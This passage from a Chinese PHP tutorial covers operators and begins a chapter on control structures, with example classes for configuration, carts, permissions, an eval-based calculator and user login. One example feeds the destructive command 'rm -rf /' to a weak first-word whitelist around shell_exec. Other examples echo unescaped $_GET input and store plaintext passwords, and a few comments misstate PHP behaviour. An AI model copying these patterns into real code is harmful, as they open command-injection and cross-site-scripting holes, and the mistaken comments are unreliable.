var_dump($arr1 !== $arr4);  // bool(true)

// 联合数组运算符示例
$config1 = [
    'database' => [
        'host' => 'localhost',
        'port' => 3306
    ],
    'debug' => false
];

$config2 = [
    'database' => [
        'username' => 'root',
        'password' => 'secret'
    ],
    'debug' => true,
    'cache' => [
        'enabled' => true
    ]
];

// 使用 + 运算符合并配置
$mergedConfig = $config1 + $config2;
echo "使用 + 合并配置:<br>";
print_r($mergedConfig);
// database.host, database.port, debug(false) 会被保留

// 使用 array_merge() 合并配置
$deepMerged = array_merge_recursive($config1, $config2);
echo "使用 array_merge_recursive 合并配置:<br>";
print_r($deepMerged);
// 相同键的值会被递归合并
?>

数组运算符的实际应用

<?php
// 配置管理器类
class ConfigManager {
    private $config = [];
    private $defaults = [
        'database' => [
            'host' => 'localhost',
            'port' => 3306,
            'charset' => 'utf8mb4'
        ],
        'app' => [
            'name' => 'MyApp',
            'debug' => false,
            'timezone' => 'UTC'
        ],
        'cache' => [
            'enabled' => false,
            'ttl' => 3600
        ]
    ];

    public function __construct($userConfig = []) {
        // 使用数组运算符合并配置
        $this->config = $this->mergeConfig($this->defaults, $userConfig);
    }

    private function mergeConfig($default, $user) {
        $merged = $default;

        foreach ($user as $key => $value) {
            if (is_array($value) && isset($merged[$key]) && is_array($merged[$key])) {
                $merged[$key] = $this->mergeConfig($merged[$key], $value);
            } else {
                $merged[$key] = $value;
            }
        }

        return $merged;
    }

    public function get($key, $default = null) {
        $keys = explode('.', $key);
        $value = $this->config;

        foreach ($keys as $k) {
            if (!is_array($value) || !array_key_exists($k, $value)) {
                return $default;
            }
            $value = $value[$k];
        }

        return $value;
    }

    public function set($key, $value) {
        $keys = explode('.', $key);
        $config = &$this->config;

        foreach ($keys as $k) {
            if (!is_array($config)) {
                $config = [];
            }
            if (!array_key_exists($k, $config)) {
                $config[$k] = [];
            }
            $config = &$config[$k];
        }

        $config = $value;
    }

    public function getAll() {
        return $this->config;
    }
}

// 购物车比较器类
class ShoppingCartComparer {
    public function compareCarts($cart1, $cart2) {
        $comparison = [
            'identical' => $cart1 === $cart2,
            'equal' => $cart1 == $cart2,
            'items_in_both' => [],
            'items_only_in_cart1' => [],
            'items_only_in_cart2' => [],
            'price_differences' => []
        ];

        // 找出两个购物车中的所有商品
        $allItems = array_merge(array_keys($cart1), array_keys($cart2));
        $allItems = array_unique($allItems);

        foreach ($allItems as $item) {
            $inCart1 = array_key_exists($item, $cart1);
            $inCart2 = array_key_exists($item, $cart2);

            if ($inCart1 && $inCart2) {
                $comparison['items_in_both'][] = $item;

                // 比较价格
                if ($cart1[$item] !== $cart2[$item]) {
                    $comparison['price_differences'][$item] = [
                        'cart1' => $cart1[$item],
                        'cart2' => $cart2[$item],
                        'difference' => $cart2[$item] - $cart1[$item]
                    ];
                }
            } elseif ($inCart1) {
                $comparison['items_only_in_cart1'][] = $item;
            } else {
                $comparison['items_only_in_cart2'][] = $item;
            }
        }

        return $comparison;
    }

    public function formatComparison($comparison) {
        $output = '';

        if ($comparison['identical']) {
            $output .= "两个购物车完全相同<br>";
        } elseif ($comparison['equal']) {
            $output .= "两个购物车内容相同,但顺序可能不同<br>";
        } else {
            $output .= "两个购物车不同<br>";
        }

        if (!empty($comparison['items_in_both'])) {
            $output .= "两个购物车都有的商品:" . implode(', ', $comparison['items_in_both']) . "<br>";
        }

        if (!empty($comparison['items_only_in_cart1'])) {
            $output .= "只在购物车1中的商品:" . implode(', ', $comparison['items_only_in_cart1']) . "<br>";
        }

        if (!empty($comparison['items_only_in_cart2'])) {
            $output .= "只在购物车2中的商品:" . implode(', ', $comparison['items_only_in_cart2']) . "<br>";
        }

        if (!empty($comparison['price_differences'])) {
            $output .= "价格差异:<br>";
            foreach ($comparison['price_differences'] as $item => $diff) {
                $output .= "- {$item}: 购物车1 ¥{$diff['cart1']}, 购物车2 ¥{$diff['cart2']} (差异: ¥{$diff['difference']})<br>";
            }
        }

        return $output;
    }
}

// 权限集合操作类
class PermissionSet {
    private $permissions;

    public function __construct($permissions = []) {
        $this->permissions = array_unique($permissions);
    }

    public function add($permission) {
        $this->permissions[] = $permission;
        $this->permissions = array_unique($this->permissions);
        return $this;
    }

    public function remove($permission) {
        $key = array_search($permission, $this->permissions);
        if ($key !== false) {
            unset($this->permissions[$key]);
        }
        return $this;
    }

    public function has($permission) {
        return in_array($permission, $this->permissions);
    }

    public function hasAny($permissions) {
        foreach ($permissions as $permission) {
            if ($this->has($permission)) {
                return true;
            }
        }
        return false;
    }

    public function hasAll($permissions) {
        foreach ($permissions as $permission) {
            if (!$this->has($permission)) {
                return false;
            }
        }
        return true;
    }

    public function union(PermissionSet $other) {
        return new PermissionSet(array_merge($this->permissions, $other->permissions));
    }

    public function intersection(PermissionSet $other) {
        return new PermissionSet(array_intersect($this->permissions, $other->permissions));
    }

    public function difference(PermissionSet $other) {
        return new PermissionSet(array_diff($this->permissions, $other->permissions));
    }

    public function equals(PermissionSet $other) {
        $sorted1 = $this->permissions;
        $sorted2 = $other->permissions;
        sort($sorted1);
        sort($sorted2);
        return $sorted1 === $sorted2;
    }

    public function getAll() {
        sort($this->permissions);
        return $this->permissions;
    }
}

// 使用示例
echo "<h2>配置管理示例</h2>";

$userConfig = [
    'database' => [
        'host' => 'example.com',
        'username' => 'myuser',
        'password' => 'mypass'
    ],
    'app' => [
        'debug' => true
    ],
    'email' => [
        'from' => 'noreply@example.com'
    ]
];

$configManager = new ConfigManager($userConfig);
echo "数据库主机:" . $configManager->get('database.host') . "<br>";
echo "应用名称:" . $configManager->get('app.name') . "<br>";
echo "调试模式:" . ($configManager->get('app.debug') ? '开启' : '关闭') . "<br>";
echo "邮箱发送者:" . $configManager->get('email.from', '默认邮箱') . "<br>";

echo "<h2>购物车比较示例</h2>";

$cart1 = [
    '苹果' => 5.50,
    '香蕉' => 3.20,
    '橙子' => 8.00
];

$cart2 = [
    '橙子' => 8.00,
    '苹果' => 5.50,
    '葡萄' => 12.00
];

$cart3 = [
    '苹果' => 6.00,  // 价格不同
    '香蕉' => 3.20,
    '橙子' => 8.00
];

$comparer = new ShoppingCartComparer();

echo "<h4>购物车1 vs 购物车2:</h4>";
$comparison1_2 = $comparer->compareCarts($cart1, $cart2);
echo $comparer->formatComparison($comparison1_2);

echo "<h4>购物车1 vs 购物车3:</h4>";
$comparison1_3 = $comparer->compareCarts($cart1, $cart3);
echo $comparer->formatComparison($comparison1_3);

echo "<h2>权限集合操作示例</h2>";

// 创建不同的权限集合
$basicPerms = new PermissionSet(['read', 'comment']);
$adminPerms = new PermissionSet(['read', 'write', 'delete', 'comment']);
$editorPerms = new PermissionSet(['read', 'write', 'edit']);

echo "<h4>基础权限:</h4>";
echo implode(', ', $basicPerms->getAll()) . "<br>";

echo "<h4>管理员权限:</h4>";
echo implode(', ', $adminPerms->getAll()) . "<br>";

// 权限检查
echo "<h4>权限检查:</h4>";
echo "基础权限包含 'read':" . ($basicPerms->has('read') ? '是' : '否') . "<br>";
echo "基础权限包含 'write':" . ($basicPerms->has('write') ? '是' : '否') . "<br>";

// 权限集合操作
$union = $basicPerms->union($editorPerms);
echo "<h4>基础权限 ∪ 编辑权限:</h4>";
echo implode(', ', $union->getAll()) . "<br>";

$intersection = $adminPerms->intersection($editorPerms);
echo "<h4>管理员权限 ∩ 编辑权限:</h4>";
echo implode(', ', $intersection->getAll()) . "<br>";

$difference = $adminPerms->difference($basicPerms);
echo "<h4>管理员权限 - 基础权限:</h4>";
echo implode(', ', $difference->getAll()) . "<br>";

// 复杂权限检查
$multiPerms = new PermissionSet(['read', 'write', 'delete', 'admin', 'user']);
echo "<h4>复杂权限检查:</h4>";
echo "包含任意权限 [" . implode(', ', ['write', 'edit']) . "]:" .
     ($multiPerms->hasAny(['write', 'edit']) ? '是' : '否') . "<br>";
echo "包含所有权限 [" . implode(', ', ['read', 'write', 'admin']) . "]:" .
     ($multiPerms->hasAll(['read', 'write', 'admin']) ? '是' : '否') . "<br>";
?>

位运算符

位运算符直接对整数的二进制位进行操作。

基本位运算符

<?php
$a = 5;  // 二进制:0101
$b = 3;  // 二进制:0011

echo "a = {$a} (二进制: " . decbin($a) . ")<br>";
echo "b = {$b} (二进制: " . decbin($b) . ")<br>";

// 位与(&)
$result = $a & $b;  // 0101 & 0011 = 0001 (1)
echo "a & b = {$result} (二进制: " . decbin($result) . ")<br>";

// 位或(|)
$result = $a | $b;  // 0101 | 0011 = 0111 (7)
echo "a | b = {$result} (二进制: " . decbin($result) . ")<br>";

// 位异或(^)
$result = $a ^ $b;  // 0101 ^ 0011 = 0110 (6)
echo "a ^ b = {$result} (二进制: " . decbin($result) . ")<br>";

// 位取反(~)
$result = ~$a;  // ~0101 = ...1010 (在二进制补码中表示-6)
echo "~a = {$result}<br>";

// 左移(<<)
$result = $a << 1;  // 0101 << 1 = 1010 (10)
echo "a << 1 = {$result} (二进制: " . decbin($result) . ")<br>";

// 右移(>>)
$result = $a >> 1;  // 0101 >> 1 = 0010 (2)
echo "a >> 1 = {$result} (二进制: " . decbin($result) . ")<br>";

// 复杂位运算示例
$flags = 0;
$READ_PERMISSION = 1;    // 0001
$WRITE_PERMISSION = 2;   // 0010
$EXECUTE_PERMISSION = 4; // 0100

$flags = $flags | $READ_PERMISSION;    // 添加读权限
$flags = $flags | $WRITE_PERMISSION;   // 添加写权限

echo "权限标志:{$flags} (二进制: " . decbin($flags) . ")<br>";

// 检查权限
$hasRead = ($flags & $READ_PERMISSION) != 0;
$hasWrite = ($flags & $WRITE_PERMISSION) != 0;
$hasExecute = ($flags & $EXECUTE_PERMISSION) != 0;

echo "有读权限:" . ($hasRead ? '是' : '否') . "<br>";
echo "有写权限:" . ($hasWrite ? '是' : '否') . "<br>";
echo "有执行权限:" . ($hasExecute ? '是' : '否') . "<br>";

// 移除权限
$flags = $flags & ~$WRITE_PERMISSION;
echo "移除写权限后的标志:{$flags} (二进制: " . decbin($flags) . ")<br>";

// 快速乘除2的幂
$number = 10;
$doubled = $number << 1;    // 乘以2
$halved = $number >> 1;      // 除以2
$quadrupled = $number << 2;  // 乘以4

echo "原数:{$number}<br>";
echo "乘以2:{$doubled}<br>";
echo "除以2:{$halved}<br>";
echo "乘以4:{$quadrupled}<br>";
?>

其他运算符

三元运算符

<?php
// 基本三元运算符
$age = 20;
$message = ($age >= 18) ? "成年人" : "未成年人";
echo $message . "<br>";

// 嵌套三元运算符(不推荐,可读性差)
$score = 85;
$grade = ($score >= 90) ? "A" : (($score >= 80) ? "B" : "C");
echo "成绩等级:{$grade}<br>";

// PHP 5.3+ 简化的三元运算符
$username = $_GET['username'] ?: 'Guest';
echo "用户名:{$username}<br>";

// PHP 7.0+ null 合并运算符
$name = $_GET['name'] ?? $_POST['name'] ?? '匿名用户';
echo "姓名:{$name}<br>";

// 实际应用示例
function getPrice($product, $quantity = 1) {
    $basePrice = [
        'apple' => 5,
        'banana' => 3,
        'orange' => 8
    ];

    $price = $basePrice[$product] ?? 0;
    $total = $price * $quantity;

    return [
        'unit_price' => $price,
        'quantity' => $quantity,
        'total' => $total,
        'discount' => $quantity >= 10 ? $total * 0.1 : 0,
        'final_total' => $quantity >= 10 ? $total * 0.9 : $total
    ];
}

$order = getPrice('apple', 12);
echo "订单详情:<br>";
echo "- 单价:¥{$order['unit_price']}<br>";
echo "- 数量:{$order['quantity']}<br>";
echo "- 小计:¥{$order['total']}<br>";
echo "- 折扣:¥{$order['discount']}<br>";
echo "- 总计:¥{$order['final_total']}<br>";
?>

错误控制运算符

<?php
// 错误控制运算符 @
$file = @file_get_contents('nonexistent_file.txt');

if ($file === false) {
    echo "文件读取失败,但没有显示警告信息<br>";
}

// 不使用 @ 的对比
$file2 = file_get_contents('another_nonexistent_file.txt');
// 这会显示一个警告信息

// 数据库连接示例
$connection = @mysqli_connect('invalid_host', 'user', 'pass', 'db');

if (!$connection) {
    echo "数据库连接失败,已静默处理错误<br>";
}

// 注意:过度使用错误控制运算符不是好习惯
// 应该使用适当的错误处理机制
function safeDivide($a, $b) {
    if ($b == 0) {
        return false; // 或者抛出异常
    }
    return $a / $b;
}

$result = safeDivide(10, 0);
if ($result === false) {
    echo "除零错误已安全处理<br>";
}
?>

执行运算符

<?php
// 执行运算符 `` (反引号)
$output = `dir`;  // Windows
// $output = `ls -la`;  // Linux/Mac

echo "目录内容:<pre>" . htmlspecialchars($output) . "</pre>";

// 等同于使用 shell_exec()
$output2 = shell_exec('dir');
echo "使用 shell_exec() 的结果:<pre>" . htmlspecialchars($output2) . "</pre>";

// 注意:执行运算符可能存在安全风险,要谨慎使用
function executeCommand($command) {
    // 白名单命令列表
    $allowedCommands = ['ls', 'dir', 'whoami'];

    $cmdParts = explode(' ', $command);
    $baseCommand = $cmdParts[0];

    if (in_array($baseCommand, $allowedCommands)) {
        return shell_exec($command);
    } else {
        return "命令不被允许";
    }
}

echo "安全执行:<pre>" . htmlspecialchars(executeCommand('dir')) . "</pre>";
echo "尝试执行危险命令:<pre>" . htmlspecialchars(executeCommand('rm -rf /')) . "</pre>";
?>

类型运算符

<?php
// instanceof 运算符
class User {
    public $name = "用户";
}

class Admin extends User {
    public $role = "管理员";
}

$user = new User();
$admin = new Admin();
$string = "hello";

// 检查对象是否是某个类的实例
var_dump($user instanceof User);    // bool(true)
var_dump($admin instanceof User);   // bool(true)(继承关系)
var_dump($admin instanceof Admin);  // bool(true)
var_dump($user instanceof Admin);   // bool(false)
var_dump($string instanceof User);  // bool(false)(不是对象)

// 实际应用
class Animal {
    public function makeSound() {
        return "某种声音";
    }
}

class Dog extends Animal {
    public function makeSound() {
        return "汪汪";
    }
}

class Cat extends Animal {
    public function makeSound() {
        return "喵喵";
    }
}

function makeAnimalSpeak(Animal $animal) {
    if ($animal instanceof Dog) {
        echo "狗说:" . $animal->makeSound() . "<br>";
    } elseif ($animal instanceof Cat) {
        echo "猫说:" . $animal->makeSound() . "<br>";
    } else {
        echo "动物说:" . $animal->makeSound() . "<br>";
    }
}

$dog = new Dog();
$cat = new Cat();
$genericAnimal = new Animal();

makeAnimalSpeak($dog);
makeAnimalSpeak($cat);
makeAnimalSpeak($genericAnimal);
?>

运算符优先级

PHP运算符有不同的优先级,了解优先级对编写正确的表达式很重要。

运算符优先级表(从高到低)

<?php
// 运算符优先级示例
$a = 10;
$b = 5;
$c = 2;

// 乘除优先于加减
$result1 = $a + $b * $c;      // 等同于 $a + ($b * $c) = 10 + (5 * 2) = 20
$result2 = ($a + $b) * $c;     // 等同于 (10 + 5) * 2 = 30

echo "10 + 5 * 2 = {$result1}<br>";
echo "(10 + 5) * 2 = {$result2}<br>";

// 比较运算符优先于逻辑运算符
$x = true;
$y = false;
$z = true;

$result3 = $x and $y or $z;    // 等同于 ($x and $y) or $z = false or true = true
$result4 = $x && $y || $z;     // 等同于 ($x && $y) || $z = false || true = true

// 使用括号明确优先级
$result5 = ($x and ($y or $z)); // 等同于 true and (false or true) = true and true = true

echo "true and false or true: " . ($result3 ? 'true' : 'false') . "<br>";
echo "true && false || true: " . ($result4 ? 'true' : 'false') . "<br>";
echo "true and (false or true): " . ($result5 ? 'true' : 'false') . "<br>";

// 赋值运算符的优先级
$a = $b = $c = 5;            // 从右到左赋值
echo "a = {$a}, b = {$b}, c = {$c}<br>";

$a = 10 + 5;                // 先计算 10 + 5,然后赋值
echo "a = {$a}<br>";

$a += 5 * 2;               // 等同于 $a = $a + (5 * 2) = 15 + 10 = 25
echo "a += 5 * 2, a = {$a}<br>";

// 三元运算符优先级
$value = 10;
$result = $value > 5 ? "大" : "小";
echo "10 > 5 ? '大' : '小' = {$result}<br>";

// 复杂表达式示例
$a = 10;
$b = 5;
$c = 3;
$d = 2;

// 复杂表达式(不推荐,可读性差)
$complex = $a + $b * $c > 20 && $d == 2 || $a - $b < 10;
echo "复杂表达式结果:" . ($complex ? 'true' : 'false') . "<br>";

// 使用括号提高可读性(推荐)
$readable = (($a + ($b * $c)) > 20) && ($d == 2) || (($a - $b) < 10);
echo "可读版本结果:" . ($readable ? 'true' : 'false') . "<br>";

// 实际应用:复杂的条件判断
function canAccessResource($userRole, $userPermissions, $resource) {
    $resourceRequirements = [
        'admin_panel' => ['role' => 'admin'],
        'user_profile' => ['role' => 'user', 'permission' => 'read_profile'],
        'edit_content' => ['permission' => 'edit'],
        'view_reports' => ['role' => 'admin', 'permission' => 'view_reports']
    ];

    $req = $resourceRequirements[$resource] ?? null;

    if (!$req) {
        return false;
    }

    // 复杂的权限检查逻辑
    $hasRole = isset($req['role']) && $userRole === $req['role'];
    $hasPermission = isset($req['permission']) && in_array($req['permission'], $userPermissions);

    // 使用括号明确逻辑
    $canAccess = (isset($req['role']) && isset($req['permission']))
                 ? ($hasRole && $hasPermission)
                 : ($hasRole || $hasPermission);

    return $canAccess;
}

$role = 'user';
$permissions = ['read_profile', 'edit'];

echo "<h3>权限检查示例</h3>";
echo "访问用户资料:" . (canAccessResource($role, $permissions, 'user_profile') ? '允许' : '拒绝') . "<br>";
echo "访问管理面板:" . (canAccessResource($role, $permissions, 'admin_panel') ? '允许' : '拒绝') . "<br>";
echo "编辑内容:" . (canAccessResource($role, $permissions, 'edit_content') ? '允许' : '拒绝') . "<br>";
?>

实际应用示例

综合运算符应用:表达式计算器

<?php
class ExpressionCalculator {
    private $variables = [];

    public function setVariable($name, $value) {
        $this->variables[$name] = $value;
        return $this;
    }

    public function evaluate($expression) {
        // 替换变量
        foreach ($this->variables as $name => $value) {
            $expression = str_replace('{$' . $name . '}', $value, $expression);
        }

        // 安全的表达式求值
        try {
            // 检查表达式是否只包含安全字符
            if (!preg_match('/^[0-9+\-*\/\(\)\s\.]+$/', $expression)) {
                throw new Exception("表达式包含不安全字符");
            }

            // 使用 eval 计算表达式(注意:在实际应用中应该使用更安全的方法)
            $result = eval("return {$expression};");

            return [
                'success' => true,
                'result' => $result,
                'expression' => $expression
            ];
        } catch (Exception $e) {
            return [
                'success' => false,
                'error' => $e->getMessage(),
                'expression' => $expression
            ];
        }
    }

    public function formatResult($evaluation) {
        if (!$evaluation['success']) {
            return "<span style='color: red;'>错误:{$evaluation['error']}</span>";
        }

        $result = $evaluation['result'];
        $expression = $evaluation['expression'];

        // 格式化数字输出
        if (is_int($result)) {
            $formattedResult = number_format($result);
        } elseif (is_float($result)) {
            $formattedResult = number_format($result, 4);
            $formattedResult = rtrim(rtrim($formattedResult, '0'), '.');
        } else {
            $formattedResult = $result;
        }

        return "{$expression} = <strong>{$formattedResult}</strong>";
    }
}

// 批量数据处理类
class BatchDataProcessor {
    private $data = [];
    private $operations = [];

    public function addData($label, $value) {
        $this->data[$label] = $value;
        return $this;
    }

    public function addOperation($label, $expression) {
        $this->operations[$label] = $expression;
        return $this;
    }

    public function process() {
        $results = [];
        $calculator = new ExpressionCalculator();

        // 设置变量
        foreach ($this->data as $label => $value) {
            $calculator->setVariable($label, $value);
        }

        // 计算操作
        foreach ($this->operations as $label => $expression) {
            $results[$label] = $calculator->evaluate($expression);
        }

        return $results;
    }

    public function displayResults() {
        $results = $this->process();

        echo "<h3>原始数据</h3>";
        echo "<table border='1'>";
        echo "<tr><th>变量</th><th>值</th></tr>";
        foreach ($this->data as $label => $value) {
            echo "<tr><td>\${$label}</td><td>{$value}</td></tr>";
        }
        echo "</table>";

        echo "<h3>计算结果</h3>";
        echo "<table border='1'>";
        echo "<tr><th>操作</th><th>结果</th></tr>";
        foreach ($results as $label => $result) {
            $calculator = new ExpressionCalculator();
            $formattedResult = $calculator->formatResult($result);
            echo "<tr><td>{$label}</td><td>{$formattedResult}</td></tr>";
        }
        echo "</table>";
    }
}

// 使用示例
echo "<h2>表达式计算器示例</h2>";

$calculator = new ExpressionCalculator();
$calculator->setVariable('x', 10)
           ->setVariable('y', 5)
           ->setVariable('z', 2);

$expressions = [
    '{$x} + {$y}',
    '{$x} * {$y} + {$z}',
    '({$x} + {$y}) * {$z}',
    '{$x} > {$y} ? "大于" : "不大于"',
    '{$x} % {$y}',
    '({$x} + {$y} + {$z}) / 3'
];

echo "<h3>基本表达式计算</h3>";
foreach ($expressions as $expr) {
    $result = $calculator->evaluate($expr);
    echo $calculator->formatResult($result) . "<br>";
}

echo "<h2>批量数据处理示例</h2>";

$processor = new BatchDataProcessor();

// 添加销售数据
$processor->addData('jan_sales', 15000)
         ->addData('feb_sales', 18000)
         ->addData('mar_sales', 22000)
         ->addData('cost_rate', 0.6)
         ->addData('tax_rate', 0.08);

// 添加计算操作
$processor->addOperation('Q1总销售额', '{$jan_sales} + {$feb_sales} + {$mar_sales}')
         ->addOperation('平均月销售额', '({$jan_sales} + {$feb_sales} + {$mar_sales}) / 3')
         ->addOperation('Q1总成本', '({$jan_sales} + {$feb_sales} + {$mar_sales}) * {$cost_rate}')
         ->addOperation('Q1毛利润', '({$jan_sales} + {$feb_sales} + {$mar_sales}) * (1 - {$cost_rate})')
         ->addOperation('增长率', '({$mar_sales} - {$jan_sales}) / {$jan_sales} * 100')
         ->addOperation('税费', '({$jan_sales} + {$feb_sales} + {$mar_sales}) * {$tax_rate}')
         ->addOperation('净利润', '({$jan_sales} + {$feb_sales} + {$mar_sales}) * (1 - {$cost_rate} - {$tax_rate})')
         ->addOperation('利润率', '({$jan_sales} + {$feb_sales} + {$mar_sales}) * (1 - {$cost_rate} - {$tax_rate}) / ({$jan_sales} + {$feb_sales} + {$mar_sales}) * 100');

$processor->displayResults();
?>

常见错误和解决方案

1. 运算符优先级错误

<?php
// ❌ 常见错误:优先级理解错误
$result = 5 + 3 * 2;      // 期望 16,实际 11
// 应该使用:$result = (5 + 3) * 2;

// ❌ 逻辑运算符优先级错误
$loggedIn = true;
$hasPermission = false;
// 下面代码可能不会按预期工作
if ($loggedIn = true && $hasPermission) {  // 赋值运算符优先级很低
    echo "有权限访问";
}

// ✅ 正确的做法
if ($loggedIn === true && $hasPermission) {
    echo "有权限访问";
}

// 或者更清晰的写法
if ($loggedIn && $hasPermission) {
    echo "有权限访问";
}
?>

2. 比较运算符类型混淆

<?php
// ❌ 松散比较的问题
if ("0" == false) {
    echo "这会执行,但可能不是你想要的";
}

if ("123abc" == 123) {
    echo "字符串会被转换为数字";
}

// ✅ 使用严格比较
if ("0" === false) {
    echo "这不会执行";
}

if ("123abc" === 123) {
    echo "这不会执行";
}

// 或者明确类型检查
if (is_string($value) && $value === "123") {
    echo "完全匹配";
}
?>

3. 位运算符误用

<?php
// ❌ 对浮点数使用位运算
$float = 3.14;
// $result = $float & 1;  // 这会先将浮点数转换为整数,可能产生意外结果

// ✅ 对整数使用位运算
$int = 3;
$result = $int & 1;  // 结果:1

// ❌ 负数的右移
$negative = -5;
$result = $negative >> 1;  // 结果在不同系统中可能不同

// ✅ 明确处理负数位运算
function safeRightShift($number, $bits) {
    if ($number < 0) {
        return $number >> $bits;  // 系统相关行为
    }
    return $number >> $bits;
}
?>

练习题

基础练习

  1. 算术运算符练习

    $a = 15;
    $b = 4;
    // 计算:$a + $b, $a - $b, $a * $b, $a / $b, $a % $b, $a ** $b
    
  2. 比较运算符练习

    $x = 10;
    $y = "10";
    $z = 5;
    // 比较:$x == $y, $x === $y, $x > $z, $x != $z, $x !== $y
    
  3. 逻辑运算符练习

    $isLogin = true;
    $hasPermission = false;
    $isAdmin = true;
    // 判断:用户是否可以访问管理面板
    

进阶练习

  1. 三元运算符嵌套

    $score = 85;
    // 使用三元运算符判断成绩等级:
    // 90-100: A, 80-89: B, 70-79: C, 60-69: D, 0-59: F
    
  2. 位运算符权限系统

    // 使用位运算符实现权限系统:
    // 定义权限常量,实现权限的添加、删除、检查
    
  3. 数组运算符应用

    // 实现购物车比较功能:
    // 比较两个购物车的商品和价格差异
    

实践练习

  1. 计算器程序 创建一个支持基本运算的计算器:

    • 加减乘除运算
    • 运算符优先级处理
    • 错误处理
  2. 表达式解析器 实现一个简单的表达式解析器:

    • 支持变量替换
    • 基本的数学运算
    • 条件表达式

总结

PHP运算符是编程的基础工具,掌握它们对于编写高效、可读的代码至关重要:

核心概念:

  1. 运算符分类:算术、赋值、比较、逻辑、字符串、数组、位运算符等
  2. 运算符优先级:了解优先级避免逻辑错误
  3. 类型转换:运算符如何处理不同类型的数据
  4. 短路求值:逻辑运算符的性能优化特性

最佳实践:

  • 使用括号明确优先级,提高代码可读性
  • 使用严格比较(===, !==)避免类型转换问题
  • 合理使用三元运算符,避免过度嵌套
  • 理解短路求值,在条件判断中利用其特性
  • 位运算符用于特定场景,如权限系统、标志位等

实际应用要点:

  • 表达式设计:清晰、简洁、可读
  • 错误处理:安全的运算符使用
  • 性能考虑:选择合适的运算符和表达式
  • 代码维护:避免过于复杂的表达式

运算符是PHP编程的基础构件,熟练掌握各种运算符的使用将帮助你编写更加优雅和高效的代码。

下一步学习:掌握运算符后,让我们继续学习PHP的控制结构,了解如何控制程序的执行流程。

第3章:控制结构

控制结构是编程语言的骨架,它控制着程序的执行流程。掌握控制结构是编写复杂程序的基础。在本章中,我们将学习PHP中的各种控制结构,包括条件语句、循环语句、跳转语句和文件包含功能。

学习目标

完成本章学习后,你将能够:

  • 熟练使用if、elseif、else条件语句
  • 掌握switch语句的使用场景和语法
  • 理解并使用for、while、do-while、foreach循环
  • 学会使用break、continue、return控制流程
  • 掌握include、require、include_once、require_once的使用
  • 能够编写条件逻辑和循环程序

本章目录

控制结构概述

控制结构决定了代码的执行顺序,让我们能够:

  • 根据条件执行不同的代码块
  • 重复执行某些操作
  • 控制程序流程
  • 组织代码结构

控制结构的分类

  1. 顺序结构:代码按从上到下的顺序执行
  2. 选择结构:根据条件选择执行不同的代码分支
  3. 循环结构:重复执行某段代码
  4. 跳转结构:改变程序的正常执行流程

基本控制流程图

开始
  │
  ▼
条件判断 ──── 否 ────┐
  │是               │
  ▼                │
执行代码块          │
  │                │
  ▼                │
继续执行            │
  │                │
  ▼                │
结束 ←──────────────┘

实际应用示例

让我们通过一个完整的用户管理系统示例来了解控制结构的实际应用:

<?php
    // 用户权限管理系统示例
    class UserSystem {
        private $users = [];
        private $currentUser = null;
        private $loginAttempts = 0;
        private $maxAttempts = 3;

        public function __construct() {
            // 初始化一些测试用户
            $this->users = [
                ['username' => 'admin', 'password' => '123456', 'role' => 'admin', 'status' => 'active'],
                ['username' => 'user1', 'password' => 'password', 'role' => 'user', 'status' => 'active'],
                ['username' => 'guest', 'password' => 'guest123', 'role' => 'guest', 'status' => 'inactive']
            ];
        }

        // 用户登录 - 使用条件判断
        public function login($username, $password) {
            // 检查登录尝试次数
            if ($this->loginAttempts >= $this->maxAttempts) {
                echo "错误:登录尝试次数过多,请稍后再试!<br>";
                return false;
            }

            // 验证用户输入
            if (empty($username) || empty($password)) {
                echo "错误:用户名和密码不能为空!<br>";
                return false;
            }

            // 查找用户
            $user = $this->findUser($username);

            if ($user === null) {
                echo "错误:用户不存在!<br>";
                $this->loginAttempts++;
                return false;
            }

            // 验证密码
            if (!$this->verifyPassword($password, $user['password'])) {
                echo "错误:密码错误!<br>";
                $this->loginAttempts++;
                return false;
            }

            // 检查用户状态
            if ($user['status'] !== 'active') {
                echo "错误:账户已被禁用!<br>";
                return false;
            }

            // 登录成功
            $this->currentUser = $user;
            $this->loginAttempts = 0;
            echo "欢迎,{$user['username']}!登录成功!<br>";
            return true;
        }

        // 查找用户 - 使用循环
        private function findUser($username) {
            foreach ($this->users as $user) {
                if ($user['username'] === $username) {
                    return $user;
                }
            }
            return null;
        }

        // 验证密码
        private function verifyPassword($inputPassword, $storedPassword) {
            return $inputPassword === $storedPassword;
        }

        // 根据用户角色显示菜单 - 使用switch
        public function showMenu() {
            if ($this->currentUser === null) {
                echo "请先登录!<br>";
                return;
            }

            echo "<h3>主菜单</h3>";
            switch ($this->currentUser['role']) {
                case 'admin':
                    echo "- 用户管理<br>";
                    echo "- 系统设置<br>";
                    echo "- 数据备份<br>";
                    echo "- 查看日志<br>";
                    break;

                case 'user':
                    echo "- 个人信息<br>";
                    echo "- 发表文章<br>";
                    echo "- 查看消息<br>";
                    break;

                case 'guest':
                    echo "- 浏览内容<br>";
                    echo "- 搜索功能<br>";
                    break;

                default:
                    echo "无可用功能<br>";
                    break;
            }
        }

        // 显示用户列表 - 使用循环和条件
        public function displayUsers() {
            if ($this->currentUser === null) {
                echo "请先登录!<br>";
                return;
            }

            // 检查权限
            if ($this->currentUser['role'] !== 'admin') {
                echo "权限不足!只有管理员可以查看用户列表。<br>";
                return;
            }

            echo "<h3>用户列表</h3>";
            echo "<table border='1'>";
            echo "<tr><th>用户名</th><th>角色</th><th>状态</th><th>操作</th></tr>";

            foreach ($this->users as $index => $user) {
                $statusColor = $user['status'] === 'active' ? 'green' : 'red';
                $roleColor = $user['role'] === 'admin' ? 'blue' : 'black';

                echo "<tr>";
                echo "<td>{$user['username']}</td>";
                echo "<td style='color: {$roleColor}'>{$user['role']}</td>";
                echo "<td style='color: {$statusColor}'>{$user['status']}</td>";
                echo "<td>";

                // 根据用户状态显示不同操作
                if ($user['status'] === 'active') {
                    echo "<button>禁用</button> ";
                } else {
                    echo "<button>启用</button> ";
                }

                // 不能删除自己
                if ($user['username'] !== $this->currentUser['username']) {
                    echo "<button>删除</button>";
                } else {
                    echo "<button disabled>删除</button>";
                }

                echo "</td>";
                echo "</tr>";
            }

            echo "</table>";
        }

        // 批量操作 - 使用多种控制结构
        public function batchOperation($operation, $usernames = []) {
            if ($this->currentUser === null || $this->currentUser['role'] !== 'admin') {
                echo "权限不足!<br>";
                return;
            }

            if (empty($usernames)) {
                echo "请选择要操作的用户!<br>";
                return;
            }

            $successCount = 0;
            $failCount = 0;

            foreach ($usernames as $username) {
                $userIndex = $this->findUserIndex($username);

                if ($userIndex === null) {
                    echo "用户 {$username} 不存在!<br>";
                    $failCount++;
                    continue;
                }

                // 防止操作当前登录的管理员
